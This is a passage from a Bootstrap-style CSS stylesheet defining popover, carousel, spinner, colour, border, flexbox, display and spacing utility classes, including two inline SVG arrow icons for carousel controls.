.bs-popover-auto[x-placement^=left]>.arrow {
right: calc(-.5rem - 1px);
width: .5rem;
height: 1rem;
margin: .3rem 0
}
.bs-popover-left>.arrow:before,
.bs-popover-auto[x-placement^=left]>.arrow:before {
right: 0;
border-width: .5rem 0 .5rem .5rem;
border-left-color: #00000040
}
.bs-popover-left>.arrow:after,
.bs-popover-auto[x-placement^=left]>.arrow:after {
right: 1px;
border-width: .5rem 0 .5rem .5rem;
border-left-color: #fff
}
.popover-header {
padding: .5rem .75rem;
margin-bottom: 0;
font-size: 1rem;
color: var(--primary-700, #002a8d);
background-color: #f7f7f7;
border-bottom: 1px solid #ebebeb;
border-top-left-radius: calc(.3rem - 1px);
border-top-right-radius: calc(.3rem - 1px)
}
.popover-header:empty {
display: none
}
.popover-body {
padding: .5rem .75rem;
color: #212529
}
.carousel {
position: relative
}
.carousel.pointer-event {
touch-action: pan-y
}
.carousel-inner {
position: relative;
width: 100%;
overflow: hidden
}
.carousel-inner:after {
display: block;
clear: both;
content: ""
}
.carousel-item {
position: relative;
display: none;
float: left;
width: 100%;
margin-right: -100%;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
transition: transform .6s ease-in-out
}
@media (prefers-reduced-motion: reduce) {
.carousel-item {
transition: none
}
}
.carousel-item.active,
.carousel-item-next,
.carousel-item-prev {
display: block
}
.carousel-item-next:not(.carousel-item-left),
.active.carousel-item-right {
transform: translate(100%)
}
.carousel-item-prev:not(.carousel-item-right),
.active.carousel-item-left {
transform: translate(-100%)
}
.carousel-fade .carousel-item {
opacity: 0;
transition-property: opacity;
transform: none
}
.carousel-fade .carousel-item.active,
.carousel-fade .carousel-item-next.carousel-item-left,
.carousel-fade .carousel-item-prev.carousel-item-right {
z-index: 1;
opacity: 1
}
.carousel-fade .active.carousel-item-left,
.carousel-fade .active.carousel-item-right {
z-index: 0;
opacity: 0;
transition: opacity 0s .6s
}
@media (prefers-reduced-motion: reduce) {
.carousel-fade .active.carousel-item-left,
.carousel-fade .active.carousel-item-right {
transition: none
}
}
.carousel-control-prev,
.carousel-control-next {
position: absolute;
top: 0;
bottom: 0;
z-index: 1;
display: flex;
align-items: center;
justify-content: center;
width: 15%;
padding: 0;
color: #fff;
text-align: center;
background: none;
border: 0;
opacity: .5;
transition: opacity .15s ease
}
@media (prefers-reduced-motion: reduce) {
.carousel-control-prev,
.carousel-control-next {
transition: none
}
}
.carousel-control-prev:hover,
.carousel-control-prev:focus,
.carousel-control-next:hover,
.carousel-control-next:focus {
color: #fff;
text-decoration: none;
outline: 0;
opacity: .9
}
.carousel-control-prev {
left: 0
}
.carousel-control-next {
right: 0
}
.carousel-control-prev-icon,
.carousel-control-next-icon {
display: inline-block;
width: 20px;
height: 20px;
background: 50%/100% 100% no-repeat
}
.carousel-control-prev-icon {
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e")
}
.carousel-control-next-icon {
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e")
}
.carousel-indicators {
position: absolute;
right: 0;
bottom: 0;
left: 0;
z-index: 15;
display: flex;
justify-content: center;
padding-left: 0;
margin-right: 15%;
margin-left: 15%;
list-style: none
}
.carousel-indicators li {
box-sizing: content-box;
flex: 0 1 auto;
width: 30px;
height: 3px;
margin-right: 3px;
margin-left: 3px;
text-indent: -999px;
cursor: pointer;
background-color: #fff;
background-clip: padding-box;
border-top: 10px solid transparent;
border-bottom: 10px solid transparent;
opacity: .5;
transition: opacity .6s ease
}
@media (prefers-reduced-motion: reduce) {
.carousel-indicators li {
transition: none
}
}
.carousel-indicators .active {
opacity: 1
}
.carousel-caption {
position: absolute;
right: 15%;
bottom: 20px;
left: 15%;
z-index: 10;
padding-top: 20px;
padding-bottom: 20px;
color: #fff;
text-align: center
}
@keyframes spinner-border {
to {
transform: rotate(360deg)
}
}
.spinner-border {
display: inline-block;
width: 2rem;
height: 2rem;
vertical-align: -.125em;
border: .25em solid currentColor;
border-right-color: transparent;
border-radius: 50%;
animation: .75s linear infinite spinner-border
}
.spinner-border-sm {
width: 1rem;
height: 1rem;
border-width: .2em
}
@keyframes spinner-grow {
0% {
transform: scale(0)
}
50% {
opacity: 1;
transform: none
}
}
.spinner-grow {
display: inline-block;
width: 2rem;
height: 2rem;
vertical-align: -.125em;
background-color: currentColor;
border-radius: 50%;
opacity: 0;
animation: .75s linear infinite spinner-grow
}
.spinner-grow-sm {
width: 1rem;
height: 1rem
}
@media (prefers-reduced-motion: reduce) {
.spinner-border,
.spinner-grow {
animation-duration: 1.5s
}
}
.align-baseline {
vertical-align: baseline !important
}
.align-top {
vertical-align: top !important
}
.align-middle {
vertical-align: middle !important
}
.align-bottom {
vertical-align: bottom !important
}
.align-text-bottom {
vertical-align: text-bottom !important
}
.align-text-top {
vertical-align: text-top !important
}
.bg-primary {
background-color: #007bff !important
}
a.bg-primary:hover,
a.bg-primary:focus,
button.bg-primary:hover,
button.bg-primary:focus {
background-color: #0062cc !important
}
.bg-secondary {
background-color: #6c757d !important
}
a.bg-secondary:hover,
a.bg-secondary:focus,
button.bg-secondary:hover,
button.bg-secondary:focus {
background-color: #545b62 !important
}
.bg-success {
background-color: #6ac90f !important
}
a.bg-success:hover,
a.bg-success:focus,
button.bg-success:hover,
button.bg-success:focus {
background-color: #519a0b !important
}
.bg-info {
background-color: #17a2b8 !important
}
a.bg-info:hover,
a.bg-info:focus,
button.bg-info:hover,
button.bg-info:focus {
background-color: #117a8b !important
}
.bg-warning {
background-color: #ffc107 !important
}
a.bg-warning:hover,
a.bg-warning:focus,
button.bg-warning:hover,
button.bg-warning:focus {
background-color: #d39e00 !important
}
.bg-danger {
background-color: #dc3545 !important
}
a.bg-danger:hover,
a.bg-danger:focus,
button.bg-danger:hover,
button.bg-danger:focus {
background-color: #bd2130 !important
}
.bg-light {
background-color: #f8f9fa !important
}
a.bg-light:hover,
a.bg-light:focus,
button.bg-light:hover,
button.bg-light:focus {
background-color: #dae0e5 !important
}
.bg-dark {
background-color: #343a40 !important
}
a.bg-dark:hover,
a.bg-dark:focus,
button.bg-dark:hover,
button.bg-dark:focus {
background-color: #1d2124 !important
}
.bg-white {
background-color: #fff !important
}
.bg-transparent {
background-color: transparent !important
}
.border {
border: 1px solid #dee2e6 !important
}
.border-top {
border-top: 1px solid #dee2e6 !important
}
.border-right {
border-right: 1px solid #dee2e6 !important
}
.border-bottom {
border-bottom: 1px solid #dee2e6 !important
}
.border-left {
border-left: 1px solid #dee2e6 !important
}
.border-0 {
border: 0 !important
}
.border-top-0 {
border-top: 0 !important
}
.border-right-0 {
border-right: 0 !important
}
.border-bottom-0 {
border-bottom: 0 !important
}
.border-left-0 {
border-left: 0 !important
}
.border-primary {
border-color: #007bff !important
}
.border-secondary {
border-color: #6c757d !important
}
.border-success {
border-color: #6ac90f !important
}
.border-info {
border-color: #17a2b8 !important
}
.border-warning {
border-color: #ffc107 !important
}
.border-danger {
border-color: #dc3545 !important
}
.border-light {
border-color: #f8f9fa !important
}
.border-dark {
border-color: #343a40 !important
}
.border-white {
border-color: #fff !important
}
.rounded-sm {
border-radius: .2rem !important
}
.rounded {
border-radius: 8px !important
}
.rounded-top {
border-top-left-radius: 8px !important;
border-top-right-radius: 8px !important
}
.rounded-right {
border-top-right-radius: 8px !important;
border-bottom-right-radius: 8px !important
}
.rounded-bottom {
border-bottom-right-radius: 8px !important;
border-bottom-left-radius: 8px !important
}
.rounded-left {
border-top-left-radius: 8px !important;
border-bottom-left-radius: 8px !important
}
.rounded-lg {
border-radius: .3rem !important
}
.rounded-circle {
border-radius: 50% !important
}
.rounded-pill {
border-radius: 50rem !important
}
.rounded-0 {
border-radius: 0 !important
}
.clearfix:after {
display: block;
clear: both;
content: ""
}
.d-none {
display: none !important
}
.d-inline {
display: inline !important
}
.d-inline-block {
display: inline-block !important
}
.d-block {
display: block !important
}
.d-table {
display: table !important
}
.d-table-row {
display: table-row !important
}
.d-table-cell {
display: table-cell !important
}
.d-flex {
display: flex !important
}
.d-inline-flex {
display: inline-flex !important
}
@media (min-width: 576px) {
.d-sm-none {
display: none !important
}
.d-sm-inline {
display: inline !important
}
.d-sm-inline-block {
display: inline-block !important
}
.d-sm-block {
display: block !important
}
.d-sm-table {
display: table !important
}
.d-sm-table-row {
display: table-row !important
}
.d-sm-table-cell {
display: table-cell !important
}
.d-sm-flex {
display: flex !important
}
.d-sm-inline-flex {
display: inline-flex !important
}
}
@media (min-width: 768px) {
.d-md-none {
display: none !important
}
.d-md-inline {
display: inline !important
}
.d-md-inline-block {
display: inline-block !important
}
.d-md-block {
display: block !important
}
.d-md-table {
display: table !important
}
.d-md-table-row {
display: table-row !important
}
.d-md-table-cell {
display: table-cell !important
}
.d-md-flex {
display: flex !important
}
.d-md-inline-flex {
display: inline-flex !important
}
}
@media (min-width: 992px) {
.d-lg-none {
display: none !important
}
.d-lg-inline {
display: inline !important
}
.d-lg-inline-block {
display: inline-block !important
}
.d-lg-block {
display: block !important
}
.d-lg-table {
display: table !important
}
.d-lg-table-row {
display: table-row !important
}
.d-lg-table-cell {
display: table-cell !important
}
.d-lg-flex {
display: flex !important
}
.d-lg-inline-flex {
display: inline-flex !important
}
}
@media (min-width: 1200px) {
.d-xl-none {
display: none !important
}
.d-xl-inline {
display: inline !important
}
.d-xl-inline-block {
display: inline-block !important
}
.d-xl-block {
display: block !important
}
.d-xl-table {
display: table !important
}
.d-xl-table-row {
display: table-row !important
}
.d-xl-table-cell {
display: table-cell !important
}
.d-xl-flex {
display: flex !important
}
.d-xl-inline-flex {
display: inline-flex !important
}
}
@media print {
.d-print-none {
display: none !important
}
.d-print-inline {
display: inline !important
}
.d-print-inline-block {
display: inline-block !important
}
.d-print-block {
display: block !important
}
.d-print-table {
display: table !important
}
.d-print-table-row {
display: table-row !important
}
.d-print-table-cell {
display: table-cell !important
}
.d-print-flex {
display: flex !important
}
.d-print-inline-flex {
display: inline-flex !important
}
}
.embed-responsive {
position: relative;
display: block;
width: 100%;
padding: 0;
overflow: hidden
}
.embed-responsive:before {
display: block;
content: ""
}
.embed-responsive .embed-responsive-item,
.embed-responsive iframe,
.embed-responsive embed,
.embed-responsive object,
.embed-responsive video {
position: absolute;
top: 0;
bottom: 0;
left: 0;
width: 100%;
height: 100%;
border: 0
}
.embed-responsive-21by9:before {
padding-top: 42.85714286%
}
.embed-responsive-16by9:before {
padding-top: 56.25%
}
.embed-responsive-4by3:before {
padding-top: 75%
}
.embed-responsive-1by1:before {
padding-top: 100%
}
.flex-row {
flex-direction: row !important
}
.flex-column {
flex-direction: column !important
}
.flex-row-reverse {
flex-direction: row-reverse !important
}
.flex-column-reverse {
flex-direction: column-reverse !important
}
.flex-wrap {
flex-wrap: wrap !important
}
.flex-nowrap {
flex-wrap: nowrap !important
}
.flex-wrap-reverse {
flex-wrap: wrap-reverse !important
}
.flex-fill {
flex: 1 1 auto !important
}
.flex-grow-0 {
flex-grow: 0 !important
}
.flex-grow-1 {
flex-grow: 1 !important
}
.flex-shrink-0 {
flex-shrink: 0 !important
}
.flex-shrink-1 {
flex-shrink: 1 !important
}
.justify-content-start {
justify-content: flex-start !important
}
.justify-content-end {
justify-content: flex-end !important
}
.justify-content-center {
justify-content: center !important
}
.justify-content-between {
justify-content: space-between !important
}
.justify-content-around {
justify-content: space-around !important
}
.align-items-start {
align-items: flex-start !important
}
.align-items-end {
align-items: flex-end !important
}
.align-items-center {
align-items: center !important
}
.align-items-baseline {
align-items: baseline !important
}
.align-items-stretch {
align-items: stretch !important
}
.align-content-start {
align-content: flex-start !important
}
.align-content-end {
align-content: flex-end !important
}
.align-content-center {
align-content: center !important
}
.align-content-between {
align-content: space-between !important
}
.align-content-around {
align-content: space-around !important
}
.align-content-stretch {
align-content: stretch !important
}
.align-self-auto {
align-self: auto !important
}
.align-self-start {
align-self: flex-start !important
}
.align-self-end {
align-self: flex-end !important
}
.align-self-center {
align-self: center !important
}
.align-self-baseline {
align-self: baseline !important
}
.align-self-stretch {
align-self: stretch !important
}
@media (min-width: 576px) {
.flex-sm-row {
flex-direction: row !important
}
.flex-sm-column {
flex-direction: column !important
}
.flex-sm-row-reverse {
flex-direction: row-reverse !important
}
.flex-sm-column-reverse {
flex-direction: column-reverse !important
}
.flex-sm-wrap {
flex-wrap: wrap !important
}
.flex-sm-nowrap {
flex-wrap: nowrap !important
}
.flex-sm-wrap-reverse {
flex-wrap: wrap-reverse !important
}
.flex-sm-fill {
flex: 1 1 auto !important
}
.flex-sm-grow-0 {
flex-grow: 0 !important
}
.flex-sm-grow-1 {
flex-grow: 1 !important
}
.flex-sm-shrink-0 {
flex-shrink: 0 !important
}
.flex-sm-shrink-1 {
flex-shrink: 1 !important
}
.justify-content-sm-start {
justify-content: flex-start !important
}
.justify-content-sm-end {
justify-content: flex-end !important
}
.justify-content-sm-center {
justify-content: center !important
}
.justify-content-sm-between {
justify-content: space-between !important
}
.justify-content-sm-around {
justify-content: space-around !important
}
.align-items-sm-start {
align-items: flex-start !important
}
.align-items-sm-end {
align-items: flex-end !important
}
.align-items-sm-center {
align-items: center !important
}
.align-items-sm-baseline {
align-items: baseline !important
}
.align-items-sm-stretch {
align-items: stretch !important
}
.align-content-sm-start {
align-content: flex-start !important
}
.align-content-sm-end {
align-content: flex-end !important
}
.align-content-sm-center {
align-content: center !important
}
.align-content-sm-between {
align-content: space-between !important
}
.align-content-sm-around {
align-content: space-around !important
}
.align-content-sm-stretch {
align-content: stretch !important
}
.align-self-sm-auto {
align-self: auto !important
}
.align-self-sm-start {
align-self: flex-start !important
}
.align-self-sm-end {
align-self: flex-end !important
}
.align-self-sm-center {
align-self: center !important
}
.align-self-sm-baseline {
align-self: baseline !important
}
.align-self-sm-stretch {
align-self: stretch !important
}
}
@media (min-width: 768px) {
.flex-md-row {
flex-direction: row !important
}
.flex-md-column {
flex-direction: column !important
}
.flex-md-row-reverse {
flex-direction: row-reverse !important
}
.flex-md-column-reverse {
flex-direction: column-reverse !important
}
.flex-md-wrap {
flex-wrap: wrap !important
}
.flex-md-nowrap {
flex-wrap: nowrap !important
}
.flex-md-wrap-reverse {
flex-wrap: wrap-reverse !important
}
.flex-md-fill {
flex: 1 1 auto !important
}
.flex-md-grow-0 {
flex-grow: 0 !important
}
.flex-md-grow-1 {
flex-grow: 1 !important
}
.flex-md-shrink-0 {
flex-shrink: 0 !important
}
.flex-md-shrink-1 {
flex-shrink: 1 !important
}
.justify-content-md-start {
justify-content: flex-start !important
}
.justify-content-md-end {
justify-content: flex-end !important
}
.justify-content-md-center {
justify-content: center !important
}
.justify-content-md-between {
justify-content: space-between !important
}
.justify-content-md-around {
justify-content: space-around !important
}
.align-items-md-start {
align-items: flex-start !important
}
.align-items-md-end {
align-items: flex-end !important
}
.align-items-md-center {
align-items: center !important
}
.align-items-md-baseline {
align-items: baseline !important
}
.align-items-md-stretch {
align-items: stretch !important
}
.align-content-md-start {
align-content: flex-start !important
}
.align-content-md-end {
align-content: flex-end !important
}
.align-content-md-center {
align-content: center !important
}
.align-content-md-between {
align-content: space-between !important
}
.align-content-md-around {
align-content: space-around !important
}
.align-content-md-stretch {
align-content: stretch !important
}
.align-self-md-auto {
align-self: auto !important
}
.align-self-md-start {
align-self: flex-start !important
}
.align-self-md-end {
align-self: flex-end !important
}
.align-self-md-center {
align-self: center !important
}
.align-self-md-baseline {
align-self: baseline !important
}
.align-self-md-stretch {
align-self: stretch !important
}
}
@media (min-width: 992px) {
.flex-lg-row {
flex-direction: row !important
}
.flex-lg-column {
flex-direction: column !important
}
.flex-lg-row-reverse {
flex-direction: row-reverse !important
}
.flex-lg-column-reverse {
flex-direction: column-reverse !important
}
.flex-lg-wrap {
flex-wrap: wrap !important
}
.flex-lg-nowrap {
flex-wrap: nowrap !important
}
.flex-lg-wrap-reverse {
flex-wrap: wrap-reverse !important
}
.flex-lg-fill {
flex: 1 1 auto !important
}
.flex-lg-grow-0 {
flex-grow: 0 !important
}
.flex-lg-grow-1 {
flex-grow: 1 !important
}
.flex-lg-shrink-0 {
flex-shrink: 0 !important
}
.flex-lg-shrink-1 {
flex-shrink: 1 !important
}
.justify-content-lg-start {
justify-content: flex-start !important
}
.justify-content-lg-end {
justify-content: flex-end !important
}
.justify-content-lg-center {
justify-content: center !important
}
.justify-content-lg-between {
justify-content: space-between !important
}
.justify-content-lg-around {
justify-content: space-around !important
}
.align-items-lg-start {
align-items: flex-start !important
}
.align-items-lg-end {
align-items: flex-end !important
}
.align-items-lg-center {
align-items: center !important
}
.align-items-lg-baseline {
align-items: baseline !important
}
.align-items-lg-stretch {
align-items: stretch !important
}
.align-content-lg-start {
align-content: flex-start !important
}
.align-content-lg-end {
align-content: flex-end !important
}
.align-content-lg-center {
align-content: center !important
}
.align-content-lg-between {
align-content: space-between !important
}
.align-content-lg-around {
align-content: space-around !important
}
.align-content-lg-stretch {
align-content: stretch !important
}
.align-self-lg-auto {
align-self: auto !important
}
.align-self-lg-start {
align-self: flex-start !important
}
.align-self-lg-end {
align-self: flex-end !important
}
.align-self-lg-center {
align-self: center !important
}
.align-self-lg-baseline {
align-self: baseline !important
}
.align-self-lg-stretch {
align-self: stretch !important
}
}
@media (min-width: 1200px) {
.flex-xl-row {
flex-direction: row !important
}
.flex-xl-column {
flex-direction: column !important
}
.flex-xl-row-reverse {
flex-direction: row-reverse !important
}
.flex-xl-column-reverse {
flex-direction: column-reverse !important
}
.flex-xl-wrap {
flex-wrap: wrap !important
}
.flex-xl-nowrap {
flex-wrap: nowrap !important
}
.flex-xl-wrap-reverse {
flex-wrap: wrap-reverse !important
}
.flex-xl-fill {
flex: 1 1 auto !important
}
.flex-xl-grow-0 {
flex-grow: 0 !important
}
.flex-xl-grow-1 {
flex-grow: 1 !important
}
.flex-xl-shrink-0 {
flex-shrink: 0 !important
}
.flex-xl-shrink-1 {
flex-shrink: 1 !important
}
.justify-content-xl-start {
justify-content: flex-start !important
}
.justify-content-xl-end {
justify-content: flex-end !important
}
.justify-content-xl-center {
justify-content: center !important
}
.justify-content-xl-between {
justify-content: space-between !important
}
.justify-content-xl-around {
justify-content: space-around !important
}
.align-items-xl-start {
align-items: flex-start !important
}
.align-items-xl-end {
align-items: flex-end !important
}
.align-items-xl-center {
align-items: center !important
}
.align-items-xl-baseline {
align-items: baseline !important
}
.align-items-xl-stretch {
align-items: stretch !important
}
.align-content-xl-start {
align-content: flex-start !important
}
.align-content-xl-end {
align-content: flex-end !important
}
.align-content-xl-center {
align-content: center !important
}
.align-content-xl-between {
align-content: space-between !important
}
.align-content-xl-around {
align-content: space-around !important
}
.align-content-xl-stretch {
align-content: stretch !important
}
.align-self-xl-auto {
align-self: auto !important
}
.align-self-xl-start {
align-self: flex-start !important
}
.align-self-xl-end {
align-self: flex-end !important
}
.align-self-xl-center {
align-self: center !important
}
.align-self-xl-baseline {
align-self: baseline !important
}
.align-self-xl-stretch {
align-self: stretch !important
}
}
.float-left {
float: left !important
}
.float-right {
float: right !important
}
.float-none {
float: none !important
}
@media (min-width: 576px) {
.float-sm-left {
float: left !important
}
.float-sm-right {
float: right !important
}
.float-sm-none {
float: none !important
}
}
@media (min-width: 768px) {
.float-md-left {
float: left !important
}
.float-md-right {
float: right !important
}
.float-md-none {
float: none !important
}
}
@media (min-width: 992px) {
.float-lg-left {
float: left !important
}
.float-lg-right {
float: right !important
}
.float-lg-none {
float: none !important
}
}
@media (min-width: 1200px) {
.float-xl-left {
float: left !important
}
.float-xl-right {
float: right !important
}
.float-xl-none {
float: none !important
}
}
.user-select-all {
-webkit-user-select: all !important;
user-select: all !important
}
.user-select-auto {
-webkit-user-select: auto !important;
user-select: auto !important
}
.user-select-none {
-webkit-user-select: none !important;
user-select: none !important
}
.overflow-auto {
overflow: auto !important
}
.overflow-hidden {
overflow: hidden !important
}
.position-static {
position: static !important
}
.position-relative {
position: relative !important
}
.position-absolute {
position: absolute !important
}
.position-fixed {
position: fixed !important
}
.position-sticky {
position: sticky !important
}
.fixed-top {
position: fixed;
top: 0;
right: 0;
left: 0;
z-index: 1030
}
.fixed-bottom {
position: fixed;
right: 0;
bottom: 0;
left: 0;
z-index: 1030
}
@supports (position: sticky) {
.sticky-top {
position: sticky;
top: 0;
z-index: 1020
}
}
.sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0
}
.sr-only-focusable:active,
.sr-only-focusable:focus {
position: static;
width: auto;
height: auto;
overflow: visible;
clip: auto;
white-space: normal
}
.shadow-sm {
box-shadow: 0 .125rem .25rem #00000013 !important
}
.shadow {
box-shadow: 0 .5rem 1rem #00000026 !important
}
.shadow-lg {
box-shadow: 0 1rem 3rem #0000002d !important
}
.shadow-none {
box-shadow: none !important
}
.w-25 {
width: 25% !important
}
.w-50 {
width: 50% !important
}
.w-75 {
width: 75% !important
}
.w-100 {
width: 100% !important
}
.w-auto {
width: auto !important
}
.h-25 {
height: 25% !important
}
.h-50 {
height: 50% !important
}
.h-75 {
height: 75% !important
}
.h-100 {
height: 100% !important
}
.h-auto {
height: auto !important
}
.mw-100 {
max-width: 100% !important
}
.mh-100 {
max-height: 100% !important
}
.min-vw-100 {
min-width: 100vw !important
}
.min-vh-100 {
min-height: 100vh !important
}
.vw-100 {
width: 100vw !important
}
.vh-100 {
height: 100vh !important
}
.m-0 {
margin: 0 !important
}
.mt-0,
.my-0 {
margin-top: 0 !important
}
.mr-0,
.mx-0 {
margin-right: 0 !important
}
.mb-0,
.my-0 {
margin-bottom: 0 !important
}
.ml-0,
.mx-0 {
margin-left: 0 !important
}
.m-1 {
margin: .25rem !important
}
.mt-1,
.my-1 {
margin-top: .25rem !important
}
.mr-1,
.mx-1 {
margin-right: .25rem !important
}
.mb-1,
.my-1 {
margin-bottom: .25rem !important
}
.ml-1,
.mx-1 {
margin-left: .25rem !important
}
.m-2 {
margin: .5rem !important
}
.mt-2,
.my-2 {
margin-top: .5rem !important
}
.mr-2,
.mx-2 {
margin-right: .5rem !important
}
.mb-2,
.my-2 {
margin-bottom: .5rem !important
}
.ml-2,
.mx-2 {
margin-left: .5rem !important
}
.m-3 {
margin: 1rem !important
}
.mt-3,
.my-3 {
margin-top: 1rem !important
}
.mr-3,
.mx-3 {
margin-right: 1rem !important
}
.mb-3,
.my-3 {
margin-bottom: 1rem !important
}
.ml-3,
.mx-3 {
margin-left: 1rem !important
}
.m-4 {
margin: 1.5rem !important
}
.mt-4,
.my-4 {
margin-top: 1.5rem !important
}
.mr-4,
.mx-4 {
margin-right: 1.5rem !important
}
.mb-4,
.my-4 {
margin-bottom: 1.5rem !important
}
.ml-4,
.mx-4 {
margin-left: 1.5rem !important
}
.m-5 {
margin: 3rem !important
}
.mt-5,
.my-5 {
margin-top: 3rem !important
}
.mr-5,
.mx-5 {
margin-right: 3rem !important
}
.mb-5,
.my-5 {
margin-bottom: 3rem !important
}
.ml-5,
.mx-5 {
margin-left: 3rem !important
}
.p-0 {
padding: 0 !important
}
.pt-0,
.py-0 {
padding-top: 0 !important
}
.pr-0,
.px-0 {
padding-right: 0 !important
}
.pb-0,
.py-0 {
padding-bottom: 0 !important
}
.pl-0,
.px-0 {
padding-left: 0 !important
}
.p-1 {
padding: .25rem !important
}
.pt-1,
.py-1 {
padding-top: .25rem !important
}
.pr-1,
.px-1 {
padding-right: .25rem !important
}
.pb-1,
.py-1 {
padding-bottom: .25rem !important
}
.pl-1,
.px-1 {
padding-left: .25rem !important
}
.p-2 {
padding: .5rem !important
}
.pt-2,
.py-2 {
padding-top: .5rem !important
}
.pr-2,
.px-2 {
padding-right: .5rem !important
}
.pb-2,
.py-2 {
padding-bottom: .5rem !important
}
.pl-2,
.px-2 {
padding-left: .5rem !important
}
.p-3 {
padding: 1rem !important
}
.pt-3,
.py-3 {
padding-top: 1rem !important
}
.pr-3,
.px-3 {
padding-right: 1rem !important
}
.pb-3,
.py-3 {
padding-bottom: 1rem !important
}
.pl-3,
.px-3 {
padding-left: 1rem !important
}
.p-4 {
padding: 1.5rem !important
}
.pt-4,
.py-4 {
padding-top: 1.5rem !important
}
.pr-4,
.px-4 {
padding-right: 1.5rem !important
}
.pb-4,
.py-4 {
padding-bottom: 1.5rem !important
}
.pl-4,
.px-4 {
padding-left: 1.5rem !important
}
.p-5 {
padding: 3rem !important
}
.pt-5,
.py-5 {
padding-top: 3rem !important
}
.pr-5,
.px-5 {
padding-right: 3rem !important
}
.pb-5,
.py-5 {
padding-bottom: 3rem !important
}
.pl-5,
.px-5 {
padding-left: 3rem !important
}
.m-n1 {
margin: -.25rem !important
}
.mt-n1,
.my-n1 {
margin-top: -.25rem !important
}
.mr-n1,
.mx-n1 {
margin-right: -.25rem !important
}
.mb-n1,
.my-n1 {
margin-bottom: -.25rem !important
}
.ml-n1,
.mx-n1 {
margin-left: -.25rem !important
}
.m-n2 {
margin: -.5rem !important
}
.mt-n2,
.my-n2 {
margin-top: -.5rem !important
}
.mr-n2,
.mx-n2 {
margin-right: -.5rem !important
}
.mb-n2,
.my-n2 {
margin-bottom: -.5rem !important
}
.ml-n2,
.mx-n2 {
margin-left: -.5rem !important
}
.m-n3 {
margin: -1rem !important
}
.mt-n3,
.my-n3 {
margin-top: -1rem !important
}
.mr-n3,
.mx-n3 {
margin-right: -1rem !important
}
.mb-n3,
.my-n3 {
margin-bottom: -1rem !important
}
.ml-n3,
.mx-n3 {
margin-left: -1rem !important
}
.m-n4 {
margin: -1.5rem !important
}
.mt-n4,
.my-n4 {
margin-top: -1.5rem !important
}
.mr-n4,
.mx-n4 {
margin-right: -1.5rem !important
}
.mb-n4,
.my-n4 {
margin-bottom: -1.5rem !important
}
.ml-n4,
.mx-n4 {
margin-left: -1.5rem !important
}
.m-n5 {
margin: -3rem !important
}
.mt-n5,
.my-n5 {
margin-top: -3rem !important
}
.mr-n5,
.mx-n5 {
margin-right: -3rem !important
}
.mb-n5,
.my-n5 {
margin-bottom: -3rem !important
}
.ml-n5,
.mx-n5 {
margin-left: -3rem !important
}
.m-auto {
margin: auto !important
}
.mt-auto,
.my-auto {
margin-top: auto !important
}
.mr-auto,
.mx-auto {
margin-right: auto !important
}
.mb-auto,
.my-auto {
margin-bottom: auto !important
}
.ml-auto,
.mx-auto {
margin-left: auto !important
}
@media (min-width: 576px) {
.m-sm-0 {
margin: 0 !important
}
.mt-sm-0,
.my-sm-0 {
margin-top: 0 !important
}
.mr-sm-0,
.mx-sm-0 {
margin-right: 0 !important
}
.mb-sm-0,
.my-sm-0 {
margin-bottom: 0 !important
}
.ml-sm-0,
.mx-sm-0 {
margin-left: 0 !important
}
.m-sm-1 {
margin: .25rem !important
}
.mt-sm-1,
.my-sm-1 {
margin-top: .25rem !important
}
.mr-sm-1,
.mx-sm-1 {
margin-right: .25rem !important
}
.mb-sm-1,
.my-sm-1 {
margin-bottom: .25rem !important
}
.ml-sm-1,
.mx-sm-1 {
margin-left: .25rem !important
}
.m-sm-2 {
margin: .5rem !important
}
.mt-sm-2,
.my-sm-2 {
margin-top: .5rem !important
}
.mr-sm-2,
.mx-sm-2 {
margin-right: .5rem !important
}
.mb-sm-2,
.my-sm-2 {
margin-bottom: .5rem !important
}
.ml-sm-2,
.mx-sm-2 {
margin-left: .5rem !important
}
.m-sm-3 {
margin: 1rem !important
}
.mt-sm-3,
.my-sm-3 {
margin-top: 1rem !important
}
.mr-sm-3,
.mx-sm-3 {
margin-right: 1rem !important
}
.mb-sm-3,
.my-sm-3 {
margin-bottom: 1rem !important
}
.ml-sm-3,
.mx-sm-3 {
margin-left: 1rem !important
}
.m-sm-4 {
margin: 1.5rem !important
}
.mt-sm-4,
.my-sm-4 {
margin-top: 1.5rem !important
}
.mr-sm-4,
.mx-sm-4 {
margin-right: 1.5rem !important
}
.mb-sm-4,
.my-sm-4 {
margin-bottom: 1.5rem !important
}
.ml-sm-4,
.mx-sm-4 {
margin-left: 1.5rem !important
}
.m-sm-5 {
margin: 3rem !important
}
.mt-sm-5,
.my-sm-5 {
margin-top: 3rem !important
}
.mr-sm-5,
.mx-sm-5 {
margin-right: 3rem !important
}
.mb-sm-5,
.my-sm-5 {
margin-bottom: 3rem !important
}
.ml-sm-5,
.mx-sm-5 {
margin-left: 3rem !important
}
.p-sm-0 {
padding: 0 !important
}
.pt-sm-0,
.py-sm-0 {
padding-top: 0 !important
}
.pr-sm-0,
.px-sm-0 {
padding-right: 0 !important
}
.pb-sm-0,
.py-sm-0 {
padding-bottom: 0 !important
}
.pl-sm-0,
.px-sm-0 {
padding-left: 0 !important
}
.p-sm-1 {
padding: .25rem !important
}
.pt-sm-1,
.py-sm-1 {
padding-top: .25rem !important
}
.pr-sm-1,
.px-sm-1 {
padding-right: .25rem !important
}
.pb-sm-1,
.py-sm-1 {
padding-bottom: .25rem !important
}
.pl-sm-1,
.px-sm-1 {
padding-left: .25rem !important
}
.p-sm-2 {
padding: .5rem !important
}
.pt-sm-2,
.py-sm-2 {
padding-top: .5rem !important
}
.pr-sm-2,
.px-sm-2 {
padding-right: .5rem !important
}
.pb-sm-2,
.py-sm-2 {
padding-bottom: .5rem !important
}
.pl-sm-2,
.px-sm-2 {
padding-left: .5rem !important
}
.p-sm-3 {
padding: 1rem !important
}
.pt-sm-3,
.py-sm-3 {
padding-top: 1rem !important
}
.pr-sm-3,
